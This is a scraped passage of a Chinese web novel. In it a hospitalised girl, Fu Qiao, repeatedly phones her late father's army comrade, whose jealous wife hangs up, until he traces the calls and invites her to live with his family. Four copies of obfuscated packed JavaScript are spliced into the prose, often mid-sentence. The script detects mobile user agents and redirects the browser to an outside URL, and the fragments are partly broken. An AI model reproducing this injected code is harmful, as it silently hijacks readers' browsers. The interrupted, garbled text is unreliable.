天边的云霞映日,红粉橙紫,缤纷绚烂得不像样。霞光透过窗户照进病房,给所有物件似乎都被镀上了层朦胧的金边,连空气里的消毒水气味似乎都淡了不少。 明天想来是个好天气。 “小傅?” 马明远打水回来,手里拎着暖壶,刚一进病房就见到傅俏已经醒来,正怔怔地望着屋外出神。 “啊?”她闻声回头。 “刚才我下去转了两圈,这里没有公用电话亭,倒是在食堂旁边有个小卖店,那里有公用电话可以打长途。但可不便宜,起步价五毛,打省内要两毛一分钟,省外六毛一分钟。” 傅俏微微睁大了眼睛,像是被这个价格给惊到了,喃喃道:“这也太贵了…” “傅俏”从前基本上没有打过长途电话,生活圈子窄得可怜,别人给她汇钱也是通过邮局的方式。关于“打电话”这一项的开支预算要多少,基本上是两眼一抹黑。 而以她本人现在的经济情况,穷得不说两袖清风,也是叮当响的级别。原想着大不了厚着脸皮向马明远借上一些,毕竟打个电话而已,能有多贵,料想他应该也不会拒绝。 如果现在这个价位,的确是贵得她难以开口。更重要的是,马明远也未必会借。 正当傅俏犯难时,眼前忽地出现了一张五十块。 她震惊地抬起头,疑惑地望着这张纸币的主人,“明远哥,你这是?” “拿着。就算是给你的零花钱,不能白让你叫我一声哥啊。”马明远的嘴角噙着浅浅的笑,把钱往她面前送了送,“快收起来,不然人来人往地瞧着多不好。” 盯着近在咫尺的五十块钱,她足足看了近一分钟。 在这个普通职工一个月工资才二百左右的时代,五十块不是一笔小钱。而在傅俏心里,对她不住的是马志远和马父马母,认真算起来,其实和马明远没什么关系。 她不喜欢欠别人什么,如果说之前马明远的一系列行为都是在替马家赎罪,坦然受之也无所谓。但眼下这个行为,显然已经超乎了他所应该负责的范围。 收下这笔钱,在某种意义上,她就欠了马明远一个人情。 傅俏最讨厌人情债。 但眼下迫在眉睫的困境,又着实不允许她清高。 最终,纤长素白的手指接住了那张钞票。 “谢谢,明远哥。” 她沉吟了几秒,又补了一句。 “很感谢。” 他似乎是想到傅俏的态度居然会如此认真,怔愣一瞬,目光停驻在少女的脸庞上,分明是杏眼桃腮,柳眉檀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464554|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的美人坯子,竟无端端地让人感受到了股坚毅凛然的傲气。 马明远舒了口气,伸手轻拍了拍她的脑袋。 “好好的。有什么事,跟哥说。” 翌日,东方刚露出鱼肚白,晨光熹微之际。 傅俏揣着钱,心中不住默念着笔记本上的电话号码,按照马明远昨天描述的地址,边找边问地摸到了小卖部的公用电话窗口。 时候尚早,老板也是刚刚开门,目前还没什么人来。她特意选的时间,上班前的早餐时段,通常是一个家里人最齐全的时刻。 滴滴滴… 手指飞快地在键盘上按动着记忆中的数字,心脏在胸膛里怦怦直跳,连耳膜都在咚咚作响。 “嘟…嘟…” 傅俏咽了口口水,努力平复着心情。 “喂?” 一道女声忽然响起。 “……喂?” 虽然在极力控制着自己,但她的声线仍在微微发颤,“请问,是方振邦…方叔叔家吗?” 阮红微怔了一瞬,确认自己从没听过这个清脆又略带稚气的声音。既然是陌生人,怎么能打到家里来,还对自己丈夫直呼姓名? 她多问了一句,“没错。你是哪位?” 傅俏不自主地轻舒一口气,赶忙回答道:“我是傅修齐的女儿,您还记得吗?就是曾经和方叔叔一块儿在朝鲜的傅修齐。” “傅修齐?!” 阮红的音量忽地拔高,仿佛大白天见鬼一样。眼珠子在眼眶中无章法地左右滚动着,仿佛是在快速思考着什么,神色也渐渐变得难看。 “你拨的是什么号码?是01-478399吗?” “是…是啊。”她答道。 阮红心脏猛地一坠。 这个号码…这个号码…早应该很多年前就弃用了,为什么还会有人能打进来? 当年换号的时候,周围所有的同事朋友都是知道的。 对,只有傅家…只有她们不知道…… 饭菜已在桌上摆开,方振邦听到妻子乍地大叫了一声,主动过来看看什么情况。 “怎么了,和谁打电话啊?咋咋呼呼的。” 阮红见他来了,神色立时出现了慌乱,不过很快就调整了回来,捂住话筒道:“没什么。覃姐又给介绍了个姑娘,条件特别好。我这不是…这不是,太高兴了嘛!” “你啊。” 方振邦听她还在捣鼓这事,不禁““皱起眉头,不赞同道:“方承的个人问题事情,应该个人解决嘛。像你这样不断地给他介绍对象,组织相亲,先不说他自己不高兴,还严重影响了他的工作,怎么能行呢?顺其自然就好了。” “顺其自然?!” 阮红挂掉了手中的电话,起身边往餐厅走边和他理论。 “小承今年都二十五了,连发展对象都没有一个。工作工作,你们爷俩都是一样,整天就是一头扎进部队里不出来,恨不得没日没夜。照这个势头,他什么时候能结婚?我什么时候能抱上孙子?我看你才是不把儿子的事放心上。你不管就算了,可千万别给我拖后腿。” 啪嗒。 傅俏一头雾水地接收了段不清不楚的对话,紧接着就是话筒放下的声响。 “滴……” 一长声忙音如同医院中心率监控仪器发出的警报,这通电话的生命也走到了尽头。 怎么回事? 打通了,有人接,有人问话,但最后又给挂断了? 傅俏紧蹙着双眉,将方才的对话一字一句地在脑海里复现。 变故是在… 傅修齐?电话号码? 那个女的听见父亲的名字后好像大喊了一声什么? 难道她和父亲有什么过节? 这个号码又有什么特殊的? 如果真是这样,那自己该怎么办? 8. 话务 打,还是不打,这是个问题。 继续打过去,如果又碰上方才挂电话的人接听,难免又是一个挂断的下场,说不定就此打草惊蛇。 万一对方意识到什么,专门做了防备… 那真是要将她逼到山穷水尽的境地了。 如果不打…却也难保那人不会对她做什么。 傅俏沉默着迈开步子慢腾腾地往回走,路过医院中庭,意外碰见了一处假山小池造景,周围是用白瓷片和水泥搭建起来的圆形小池。 池子里有几尾通体橙红的小锦鲤,她顺势坐在池边,心不在焉地观赏起了小鱼。直到面前突然被一团阴影笼罩,这才下意识地抬头望去。 马明远逆光而立,“我碰见了杨医生,她说你和她请示过了,想下来走走。” 傅俏心情不佳,连礼貌的笑容都挤不出来,向他点了点头。 “怎么了?” 她的异样许是太过明显,连死都不怕的倔强姑娘,眼下竟是连笑都勉强不出来。 傅俏摇了摇头,示意没什么。 马明远见她不答,“发生什么事情了?难道是志远?还是…你叔叔婶婶来了?” “都不是。杨医生说我过两天就能出院了,我在想该去住哪儿。”傅俏道。 “住哪儿?” 马明远顿了顿,略一思忖,明白了她的意思。 他踌躇了片刻,最终还是选择再问一遍。 “你真的…这么不愿意回去吗?不管怎么说,他们毕竟是你的叔叔和婶婶,这么多年也好好把你抚养长大了。虽说这件事做错了,但终究还是一家人。” 傅俏长叹了口气,连看也不看他,直截了当道:“明远哥,关于这个话题,我想我们之前已经讨论过了。 “可你要是不回家,能去哪儿呢?” 马明远似乎只认为她是在耍小孩子脾气,“我可以保证,志远以后再也不会去打扰你的生活。至于你妹妹的工作,我也一定会尽力解决的。还有你复读的事情…” “明远哥。” 忍无可忍的傅俏蓦地打断了他滔滔不绝的“演讲”,问道:“你可以帮我一个忙吗?” 杂货小卖店,公用电话窗口前。 “诶,小妹妹,你又来了?” 老板笑呵呵地招呼着而复返的傅俏,打趣道:“你这够忙的啊,上一趟电话才打完十几分,这就又回来了。” 她敷衍地冲老板笑了笑权当回答,对着跟随而来的马明远一再叮嘱:“明远哥,不管什么情况。你都只说要方首长接电话,不论对面问什么,你就保密。总而言之,一定要让方叔叔来接电话。” 虽然答应了要帮忙,可他眉间拧起的疙瘩自打傅俏一说出要求后就没松开过。 “小傅,到底什么情况,你不能说清楚吗?首长都出来了,这到底是要打给谁啊?” 时间在一分一秒流逝,傅俏的耐心也在逐渐消磨殆尽。 面对马明远的为难,她利落道:“明远哥,这里面的前因后果一时说不清楚,往后我肯定会和你细说。主要是现在时间有限,事情迫在眉睫。你能帮帮忙吗?如果不帮也没什么,我试试找别人。” 马明远见小姑娘焦灼的模样不似作伪,自然是想帮她的忙,但警察职业的谨慎态度又阻碍着他盲目做出决断,轻易答应别人这种稀里糊涂的要求。 他还在纠结之际,小姑娘已经再度拨通了电话。 铃铃铃!铃铃铃! 红色的座机铃声又在方家客厅中响起,恰好吃完了饭的方振邦打算主动去接。怎料刚刚站起,尚在喝粥的阮红登时放下了碗筷,嘴里还包着没来得及咽下去的稀粥,强行将他按回了座椅。 自己火急火燎地跑去了电话旁。 “喂?诶!覃姐啊,哎呦,你说这事儿。我们家老方刚才批评我来着啦!说我不该这么心急,诶…诶诶…好嘞好嘞…就这样啊,挂了啊!” 啪嗒。 忙音嘟嘟嘟地在耳畔响起,傅俏看着手里的话筒,虽然仍是被挂断,但有两点几乎已经可以确定。 第一,这个号码没问题。不仅可以打通,也一定是可以联系到方振邦本人的。否则这两次接电话的人没必要装模作样的胡言乱语一通后再挂断,说不定刚才两通电话接通的时候,方振邦甚至就在现场。 第二,这个接电话的中年妇女一定是认识她的父亲,两人之间应该还有过节。此外,她或许已经猜到了自己的身份,并不想让方振邦接触到自己,这才会千方百计的横加阻拦。 那么这个中年妇女的身份…… 能在方家能随意挂断男主人电话的,通常只有一种身份。 女主人。 这个中年妇女很有可能就是方振邦的妻子。 傅俏不断地在脑中设想推理着事态的发展与各种可能性,手上也没停下,又再次打了过去。 铃铃铃! 阮红才放下电话没走出去几步,身后的铃声又一次响起! 她索性手快拔掉了电话线。 此时方振邦觉出了不对,径直走过来查看,“怎么回事?这一早上闹个没完了?” “没,没什么!”阮红迎了过去,将他拦在半道,“你吃完了吗?今天这粥好,再喝一碗呗。” 方振邦仍想过去亲自看看,门外却突然响起了滴滴两声。 一辆军用吉普端端正正,准时准点地停在了道旁,是来接他上班的。 “车来了!”阮红忽地喊道。 漫长的军旅生涯将守时守纪的行为准则刻入了方振邦的骨子里,既然已经到了上班的时间,他就不会在家里多做拖延。 伴随着车辆在油门声中扬长而去,她如释重负地松了一大口气。 而方振邦走后,在餐桌边目睹了全程的方尧再也无法压制住自己旺盛的好奇心,凑到了母亲跟前打听情况。 “妈,刚才到底是谁打电话啊?肯定不是覃姨吧。这来来回回好几次,哥把她介绍的姑娘全给驳回了,一个都没相中。气得她和你说,再也不操这个空心了吗?” “去去去!” 阮红正是心烦的时候,扭脸又看见小儿子贱兮兮的八卦模样,气更是不打一处来,“是不是关你什么事!你有这份闲心不如学点习!明年就高三了,要是到时候考不上大学,你看你爸怎么收拾你!” 嘟…嘟…嘟…… 傅俏再一次打过去时,果然已经彻底打不通了。 不知道这样频繁的铃声会不会让方振邦察觉出异样,但这已经是她目前在有限时间里唯一能想到的最佳方案了。 至于其他的路径,还得再仔细思考,从长计议。 马明远站在一旁,见她始终一言不发,只是不住地重复着拨打同一个号码,脸色愈发凝重严肃,心中也不禁有些打鼓。 “小傅,要不晚点再试试吧?到时候我就按你说得来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464555|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅俏的手还放在话筒上,闻言扭头望了他一眼,目光里说不清是什么情绪。 “是,我晚点再来吧。” 她现在还在住院期间,上午仍要输液治疗,按规定也不允许擅自离开病房太久。 “老板。能麻烦您件事吗?如果晚点有电话打进来找我,帮忙记录一下,就说晚上我再给他回过去。哦,对了,我叫傅俏。傅是太傅的傅,俏是俏丽的俏。打电话来的人应该姓方…” 这时候的公用电话旁通常会备有一个笔记本和笔,方便来打电话的人随手记录下重点事情或是号码。傅俏说着就在本子上写下了自己姓名,向老板展示了一番。 “行行,我尽量吧!” 老板点了点头,看在她这一天也算是照顾了自己不少生意的面上,“我会多帮你注意着。不过这接电话的费用要算你账上啊,你下午一定得来。” 傅俏没有二话,当即许诺了晚饭时间一定来,到时候不管有没有电话找,她都会试着再打一次。 等于变相照顾老板生意。 这幅大手大脚花钱的气派让马明远旁观得不禁有些微微皱眉,五十块虽然不是小数目,但也难经得住如流水一般的用法。 “小傅,你身上钱还够吗?” 冷不丁地听到问话,她稍一加思索,顿时心下了然。 这不是怕她钱不够,而是提醒她悠着些花。 “够的。明远哥,我就是今天想多试试,要是没什么回信,我明天就不打了。” 才怪。 起初不帮,现在倒会来装好人。 傅俏暗暗腹诽,默默放任了自己的坏情绪。毕竟是人总有阴暗面,有道君子也是论迹不论心,论心千古无完人。 但她心里也跟明镜似的,这几天要没有马明远在,现在自己会沦落到什么处境都未可知。 这份恩情不说天高地厚,却实属难得。纵使有一二地方不顺心意,本也是生活里再正常不过的。要因这么点小事就对马明远生出怨怼,她真成白眼狼了。 时光匆匆易过,转眼就到了吃午饭的点。方振邦刚结束了一场会议回到自己的办公室,放了材料正打算去吃饭,眼睛却没来由地瞥见了桌上的电话。 他的心脏倏地猛跳了一下。 迟疑了几秒,方振邦拿起电话,打到了话务班。 “喂?这里是方振邦,帮我查一下,今天早上七点到八点左右有哪些号码接了我家?” “您好,首长!这里是01总机。请您稍等,现在立刻为您查询。” …… “首长,已查询完毕。今天早晨七点到八点接通到您家的电话共有三通,均来自同一号码,地区为江省苏城,但拨通的号码并非您当前的座机号码。而是您之前保留的一个老号01-478399,您曾经交待过如有任何人拨打这个号码的电话,无需询问,直接为您转接。” 当听到“江省苏城”时,方振邦已隐约生出了预感和猜测,而听到话务员报出的“01-478399”这串数字,他的心就彻底沉到了谷底。 “现在立马帮我回拨这个电话,快,马上!”方振邦急道。 “是,首长!” 嘟…… “喂?哪位啊?”老板接起电话,大喇喇问道。 “您好。我姓方,叫做方振邦。请问您这边是不是有位小姑娘打电话找过我,叫做傅俏?大概…大概是十七八岁的样子?” 9. 故旧 “好…好!知道了知道了!她吃晚饭的时候会再来的,大概六七点钟的样子吧。你那个时候再打来,或者她打过去的。行,行,挂了啊。” 公用电话老板挂了电话。 方振邦略一思忖,停了不到一分钟,手还在话筒上没有放开,又立马拨去了另一个熟得不能再熟的号码。 嘟…… 电话占线。 他的脸已经沉得快能滴出水来,飞快接通话务班,直接下达了指令。 “喂?是我。你们下午找两个人去我家里看看座机是怎么回事,为什么接不通电话?今天有没有错过的电话?如果有人阻拦,就说是我的意思,务必执行。” “首长,已查询截止到目前除了早晨七至八点同一号码拨至01-478399外并无其他通话接入。请问是否还需要为您继续转接此号码的通话?” 方振邦道:“什么意思?为什么不转接?” 话务员罕见地耽搁了片刻没有回话,“您的夫人曾致电过话务班,特意要求停止此号码对家中的转接。” “不用,她应该是搞错号码了。你们还是正常转接。” 家务事不闹到外面来,不在外人面前说是非,是每个成年人都心照不宣的默契。哪怕他现在已是怒火中烧,也需要为妻子打好圆场。 可阮红领不领情,那又是另一回事了。 方振邦今天没有在单位多逗留,到点就直奔家里而去。 门一打开,肃杀凝重的气氛扑面而来。炎炎夏日里,无端地叫人觉出一阵阵寒意。 他往里走去,厅中赫然一副剑拔弩张的场景,阮红抱着双臂坐在电话旁的扶手沙发上,面若冰霜。下午派来维修的士兵竟还在家里,不尴不尬地在对面直挺挺地站着军姿,连眼睛都不敢乱转。 玄关的响动刚传进来时,她就知道是方振邦回来了。 不过哪又怎样?自己还会怕他不成? 原本截了电话,想着就这么糊弄过去,一切都装作什么都没发生,大家皆大欢喜最好不过。他偏生要多个心眼,亲自打电话去话务班清查,甚至派了兵上门来,那这事就没那么好收场了。 士兵一见他出现,像是看到了救星,立马转身抬手向他敬礼。 “首长好!” 方振邦压着恼怒,面上看不出什么,冲士兵点了点头示意,“好。你先回去吧。” 士兵登时舒了口气,一副如蒙大赦的神情,要不是军人的规范约束,他都想立马撒丫子逃跑,赶紧离开这个是非之地。 大门合上,整栋小楼里只剩下了方振邦夫妇。 阮红忍不住率先发难,向丈夫质问道:“你什么意思?十几年了,你还想着顾兰泽?你俩有心电感应是不是?不然怎么会连电话都没接着,就知道是傅家打来的?!” 方振邦脸上顿时浮现出一种不可理喻的表情,“你乱说什么?!就一件子虚乌有的事情!你捕风捉影地计较了十几年,还不够吗?!” “我捕风捉影?” 阮红霍地站起,“当年藏人家照片的难道不是你吗?你不是喜欢人家有文化有格调吗?她顾兰泽多能耐啊,资本家的千金大小姐,哪里是我这种田间地头出来的大老粗能比的?” “说了是个误会!那是班长不小心落在下的,我收起来是为了好还他。我还要说几万遍你才会信?就这一个误会,你就要挂断傅家打来的电话?至于吗?!自从班长走了以后,他们孤儿寡母就再没有和我们联系过,现在突然打来电话,万一是遇到难处了怎么办?” “十几年都没有难处,现在环境好了,反倒有难处了?” 阮红嗤笑一声,眼眶中却闪烁着碎光,“别的不说,要是你真不记挂着,你会把那个老号码保留十几年吗?!” 方振邦见她泪眼盈盈,偏还要直挺挺地仰着脑袋。 阮红硬气道:“索性今天就把话说开了,反正孩子们都大了,你要是还想着别人,那就离婚。” “别闹了,成吗?” 他的满腔怒火此时也下去了不少,无可奈何道:“小阮,旁的不提,你和我方振邦结婚二十多年了,我对你怎么样?你心里不清楚吗?这么多年的风风雨雨,咱们携手并肩一起过到现在,你说这个?” 见丈夫严肃起来,阮红不禁也出现了几分心虚,仍道:“如果真的是误会,那你为什么要把那个老号码留十几年?不是别有用心,是什么?” 方振邦深深地叹了口气,“班长牺牲了,人一走,茶就凉。傅家一个寡妇拖着一个小丫头,嫂子又是个硬脾气,日子能好过吗?世情冷暖无常,别人拜高踩低我管不到,但我不能忘恩负义。我这条命是班长当年在天寒地冻里捡回来的,就凭这一点,咱就不能忘本。” 话说这里,阮红也体会到了丈夫的心思。到底是二十多年一张床上睡过来的夫妻,她今年也五十多岁了,什么话是真情,什么话是假意,还是能分辨得清的。 之所以早晨接到傅家打来的电话反应如此过激,关键就在于她忽然意识到方振邦居然将那个号码保存了这么多年,而且从没和她说过。 从另一个方面来说,如此之大的情绪起伏可能原也不是她的本意。 女性到了一定的年龄,激素的剧烈减退会严重影响大脑中调节情绪的神经递质,让人变得烦躁,激动,易怒,常常会因一点琐事就大发雷霆,事后又难免陷入后悔。 例如眼下,阮红其实已经认识到了自己行为的错误,并隐隐对电话中那个仍显稚嫩的小姑娘生出了些愧疚。 但她生性要强,向来不说软话,哪怕心已经软了。 “哼。你说得都有理,当初是她自己不要别人帮忙的,总觉得人人都要害她们。她也不想想,要不是因为她的出身,傅大哥至于那么多年升不上去吗?说来说去,根本就是她自己才是祸根。” 方振邦皱起眉头,“又提这个干什么?现在当务之急,就是赶快和她们联系上,问问看是不是出事了。” 日暮昏昏,傅俏如期来到了公用电话窗口。 这家小卖店恰巧开在棵枝繁叶茂的垂柳树旁,微风习习,也算得上是个乘凉避暑的好地方。 老板的收音机里咿咿呀呀地放着越剧,他正闭着眼摇头晃脑地跟着唱:“林妹妹,这真是从古到今,天上人间,是第一件称心满意的事啊……” 她慢吞吞地走上前,踌躇了几秒才开口,问道:“您好,老板!请问下午有电话找我吗?” “我合不拢笑口将喜讯接…嗯?” 老板睁开眼,见是上午那小丫头,立马反应过来,“有有!那人说让你再打过去。” “真的?!” 傅俏大喜过望,一时也顾不上礼貌,直接抓起话筒输入了那串如今已烂熟于心的号码。 嘟…电话接通。 “喂?”她这次不敢多说一个字,一颗心悬在嗓子眼,屏息等待着对面的回应。 “喂?” 一道熟悉的女声传来,傅俏的心霎时咚地跌落谷底,周身的血液都凉透了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464556|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正当她绝望地打算挂断电话时,对面忽然问了一句,言语间似乎有些犹疑,“你是...笑笑吗?” 这次手快抢先接起电话的仍是阮红,她就坐在电话旁。晨起时不曾注意,这次倒听出来了些不对劲,这个声音分明还带着稚气,应当是个小姑娘是声色。 那便必然是傅俏了。 这突如其来的问话着实将她弄得有些发懵,在这个世界上,只有爸妈会唤“笑笑”这个小名。 这是傅修齐起的小名。 “她”曾经问过爸爸,为什么自己的小名是笑笑?而不是俏俏? 傅修齐道:“已是悬崖百丈冰,犹有花枝俏。俏不争春,只把春来报,待到山花烂漫时,她在丛中笑。你是大名是“俏”,所以小名是‘笑笑’啊。” 难道真的还有其他人,知道这个昵称吗? 她不敢轻易相信那人就是在说自己,只含含糊糊地答道:“嗯。我是。” 阮红在自己都未察觉之下微微松了口气,态度缓和了许多,温声道:“笑笑,真的是你啊?哎呦,你长大了,阿姨都听不出你声音了……” 方振邦也旁边支着耳朵,一听来人确是傅俏,索性一屁股在对面的沙发上坐下,用手语比划着让阮红放下话筒开免提。 “诶诶,好好,笑笑,你等会儿啊…阿姨这边开一下免提啊,你叔叔着急也想听你说话呢。” 很快,对面传来了一个男声。 “喂?笑笑!我是方叔叔啊。咱们笑笑都成大姑娘了,叔叔真是好久都没有听见你的声音了。你最近好不好啊?怎么忽然想起来给叔叔打电话啦?” 话说到最后一句时,言语间竟有几分小心翼翼。 “……” 电话那头出现了短暂的停顿,被问话的人似乎有些哽咽。 “方叔叔。我…我..……” 事到临头,傅俏这才发觉,原来这世上最难的事情之一,莫过于开口求人。 一个“我”字来来回回说了好几遍,后面的情况仍未出口。 方振邦很快便察觉到了异样,心念一转,立马就意识到了自己问话的不妥,哪有叫人一上来就诉苦的? 于是他赶忙改口,态度愈发温和说道:“笑笑,你愿意给叔叔阿姨打电话,我们都特别高兴。我们好久没见你了,想你着呢。你看这样好不好,你和妈妈愿不愿意到叔叔阿姨家来做做客?玩几天?” 方振邦说到“妈妈”时,阮红还是忍不住瞪了他一眼。 话筒那头沉默了片刻。 “…方叔叔,我妈妈她…很多年前就改嫁去美国了。” 和煦的笑容霎时僵硬在方振邦的脸上,看了眼阮红,她也是大吃一惊的表情。 “那你这么多年…跟着谁生活?在哪里?” “我跟着小叔和婶婶一起,住在苏城。” “你小叔?”方振邦皱着眉头回忆了下过往,迟疑道:“是建业吗?” “嗯。”傅俏应了一声,没有多说什么。 方振邦的脸色已然彻底沉了下去,饶是他久历世情人事,此刻一时竟也只是愣愣地张着嘴,说不出半个字来。 他和傅修齐亲如手足,对傅家的一些人事不说了如指掌,也算是颇有了解。对于班长的这个弟弟是什么品行,会如何对待哥哥留下的“拖油瓶”,心里也大致有了些猜测。 那么小的一个姑娘,寄人篱下十几年…… 这个消息如一记重重的耳光,狠狠抽在了他的脸上。 10. 陵州 “…我数遍了指头把佳期待。总算是东园桃树西院柳,今日移向一处栽。往日病忧一笔勾,今后乐事无限美…” 电话打完,收音机里传出的依旧是刚才的唱段,来来回回像是循环播放。老板仍兀自沉浸艺术之中,傅俏连喊了好几声付钱都没反应。 “小傅,你打完电话了吗?” 熟悉的声音忽然在身侧响起,不需要扭头去看也知道是谁。 “刚打完。” 她边说边转身,见他手里提着保温桶,问道:“阿姨好些了吗?” 傅俏的情况尚好,不需要人看护,所以马明远没有全天留守在医院,临走前也同她说过是回家去看看。 她一片关心,母亲的态度却…想到下午发生的事情,马明远不禁喉间一哽,胸口堵得有些呼吸不畅。 “好,还好。”他略显僵硬地点了点头。 似乎看出了他的尴尬,傅俏应和着轻轻颔首,并未多言,只同他道:“明远哥,你等我一下。” 她说着再一次伸手敲了敲公用电话处的窗台,朗声朝着闭目跟唱的老板说道:“老板!我电话打完了,多少钱?” “我来吧!” 马明远蓦地一个大跨步上前,一步就站到了傅俏身旁,一张十块的纸币赫然已经拿在了手中。 她刚想开口推辞,却被他打断,那斩钉截铁的态度压根不容人拒绝,“我来就好。” 傅俏微微一顿,心中生出了些猜测,遂不再坚持,从善如流地往后退了两步。 付过了账,两人便慢慢地向着住院部走回去。 “你还没吃晚饭吧?” 沉默着走了一阵,马明远像是突然才想起什么,出声问道。 她答道:“没有。明远哥你吃过了吗?”不过经由他这么一提醒,始终紧绷着的神经倏地放松,潜伏已久的饿劲也冒出了头。 马明远面色稍霁,语气也缓和不少,“我吃过了。正好,我给你带了财鱼汤,一会儿多喝点。我找人问过了,都说吃财鱼伤口好得快。” 在见到保温桶时,傅俏便已想到那应该是什么吃食,但当他说出“财鱼汤”的时候,她仍不免怔了一瞬。 点了点头,没有说话,很快又低下头去。 他的确有在花心思对待自己。 傅俏在心里念叨。 一时之间,喜忧参半的情绪涌上心头。喜得是马明远对她越好,她的计划越是成功有望。忧得是这恰恰证明他并非一个坏人,自己却要不停地算计利用他以达成目的,这未免有些令人不齿。 但话反过来说,若他是个坏人,那自己或许早成了马志远的“媳妇”,何谈眼下的计划?偏他是个好的,不说多么高尚,至少思想上还保留有底线,这才给了傅俏“拿捏”他的机会。 “怎么了?你看起来心事重重的?”马明远见她这幅模样,不禁皱起了眉头。 傅俏闻言,似乎也陷入了两难之际,踌躇半晌,也没说出什么来。 “是不能说?还是不能对我说?”他追问道。 “不是。”傅俏望了他一眼,垂目思索了片刻才又抬起头来,像是好不容易才鼓足勇气。 “我想尽快出院,去一趟陵州。” 江省陵州,陆军某部一零六团驻地营区所在,正是方振邦长子方承的服役部队。 方振邦急切地盼望着能早些见到傅俏,又担心她孤身出远门的安危,更不想这事因为傅家叔婶横生枝节,便和傅俏说索性让方承请假亲自去往苏城走一趟。 左右这两个城市相隔不远,四五个小时的火车车程也就到了,届时再让方承带着她一块儿北上回家。 傅俏自是欣然接受,有部队背景的人要来接,就算是马家也不敢轻举妄动。 只是阮红有些担心。 “这样能行吗?小承最近忙着呢,我给他打电话,话都说不了几句就挂了。” 方振邦道:“那是你天天给人家介绍对象催婚,搁谁谁不烦?行了,这事你别管了,我来给他打电话说。你把房间给笑笑收拾出来,会用到的东西都准备好。” 两人絮絮叨叨地正说着要接傅俏来家的安排,大门突然哐地打开,紧接着砰砰乓乓的响动不绝于耳。 对话被打断,方振邦顿时拧起了眉头。看了妻子一眼,当即起身快步往门口走去,连阮红想开口再说些什么都没来得及。 走到玄关,一股强烈汗味儿扑鼻而来,视线只消粗略一扫,书包、球鞋、篮球、更是扔得满地都是。 方尧丝毫不觉得有哪里不对,一看就是长期这样乱丢习惯了,见到方振邦在家似乎还有些惊诧,不过仍是一脸的轻松。 “哟?爸!你怎么在家啊,今天下班可够早的。” 阮红来得稍迟两步,见小儿子这幅得行,心头咯噔一坠,抢先道:“方尧!还不快把东西捡起来,到处乱丢像什么样子?!” 这通教训来得没头没脑,半点没有眼力见的方尧还当是妈妈同自己开玩笑,依旧嘻嘻哈哈地没个正形。 “知道啦,知道啦!妈,你别啰嗦了。我刚放学累死了,待会儿再收拾。” 说着就趿拉着拖鞋晃晃悠悠地朝厨房走去,途中遇到刚才自己随手抛开的篮球挡路,甚至还踢了一脚。 方振邦看在眼里,却没有说什么。 晚餐时分,餐具摆开,饭菜上桌。 红烧排骨、木须肉、番茄炒蛋、清炒豆芽,还有一道冬瓜虾皮汤。 方振邦吃了两口,忽然搁下筷子,对阮红道:“我明天就给方承打电话,争取让他赶在周日把人送到家里来。” “这么着急吗?”阮红一边说着一边给他盛汤。 “夜长梦多,谁知道她家里又会出什么幺蛾子。否则笑笑也不会单独打电话来。行了,这事就这么定了,你也趁早做准备。” 在一旁听得好奇心都要从嗓子冒出来的方尧实在等不了,直接开口问道:“谁啊谁啊?谁要到咱家来?这么大架子,还非得让哥去接。” 阮红瞄了丈夫,见他低着头吃饭,“小尧,过几天有个姐姐要来家里。她是你傅伯伯的女儿,你可不能胡闹,要好好对待她,像亲姐姐一样。” “姐姐?!” 方尧得知来人将是个姑娘,还比自己要大,料想估计也和父亲老家那些个七大姑八大姨的亲戚差不多,个个都对着自己左一句“好好学习”,右一句“天天向上”,瞬间没了兴趣。 他今年十七岁,正是叛逆的年龄,又是个天不怕地不怕的混世魔王性子,剑眉一挑,咧咧道:“我都多大了家里还来姐姐,这也太不方便了。她要待多久啊,不行咱去招待所开个房间吧。” 啪! 方振邦摔了碗筷,整张餐桌都是一震。 “开什么招待所房间?她来就不走了!从今往后就住这儿,这儿就是她家,她就是你亲姐。明白吗? 阮红深知这爷俩都是烈性脾气,均是不饶人的,和稀泥道:“好了好了,都少说两句。老方,哪儿有你这么替人拿主意的,来了就不给走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464557|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且不说笑笑自己情不情愿,她叔叔婶婶能同意吗?” 